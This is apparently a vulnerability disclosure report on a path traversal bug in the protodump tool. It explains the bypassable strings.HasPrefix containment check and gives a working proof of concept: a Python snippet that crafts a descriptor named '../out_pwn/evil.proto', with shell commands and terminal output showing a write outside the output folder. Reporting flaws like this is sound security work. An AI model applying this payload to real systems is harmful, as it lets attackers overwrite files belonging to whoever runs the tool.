arkadiyt-projects · Report #3634571
Path Traversal in writeFile via Unsafe Prefix Containment Check Allows Out-of-Directory Writes
How it was found
Summary:
protodump uses descriptor-controlled paths (name/go_package) in output filename construction and then enforces containment with a lexical strings.HasPrefix check after EvalSymlinks. That check is bypassable with ../ traversal into existing prefix-matching sibling directories, enabling writes outside the intended output directory.
Steps To Reproduce:
- First of all, build the protodump
- Then, create a malicious input blob (descriptor name =
../out_pwn/evil.proto):
name = b'../out_pwn/evil.proto'
with open('/tmp/evil.bin', 'wb') as f:
f.write(bytes([0x0a, len(name)]) + name + b'\x00')
-
Prepare output and prefix-collision sibling
mkdir -p /tmp/out /tmp/out_pwn -
Run protodump:
TIPSEN:~:% /tmp/protodump -file /tmp/evil.bin -output /tmp/out
Wrote /tmp/out_pwn/evil.proto
- Full terminal output:
TIPSEN:~:% python
Python 3.13.9 (main, Oct 15 2025, 14:56:22) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> name = b'../out_pwn/evil.proto'
... with open('/tmp/evil.bin', 'wb') as f:
... f.write(bytes([0x0a, len(name)]) + name + b'\x00')
...
24
>>> exit
TIPSEN:~:% mkdir -p /tmp/out /tmp/out_pwn
TIPSEN:~:% ls /tmp/out
TIPSEN:~:% ls /tmp/out_pwn
TIPSEN:~:% /tmp/protodump -file /tmp/evil.bin -output /tmp/out
Wrote /tmp/out_pwn/evil.proto
TIPSEN:~:% ls /tmp/out
TIPSEN:~:% ls /tmp/out_pwn
evil.proto
Supporting Material/References:
The root cause :)
- https://github.com/arkadiyt/protodump/tree/main/pkg/protodump/proto.go#L47-L55:
Filename()builds output-relative paths from descriptor-controlled meta data (go_package+ descriptor path), so attacker input can influence directory components. - https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L98-L100: the attacker-influenced
filenameis passed directly intowriteFile(...)and used for filesystem writes. - https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L32-L35: directory parts are derived from
path.Clean(fileDir)and then joined under output, so traversal tokens are processed into parent/sibling path movement. - https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L41-L47: containment is enforced with
strings.HasPrefix(base, outputDirAbs), which is a lexical prefix check and not a safe path-boundary check. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L51-L58: after the flawed check,MkdirAll+WriteFilecreate/write the final path, enabling out-of-directory write when prefix-collision conditions are met.
Impact
An attacker who can provide a crafted binary can cause protodump to create or overwrite .proto files outside the user-selected output folder when the victim runs the tool. This enables integrity compromise of adjacent project artifacts.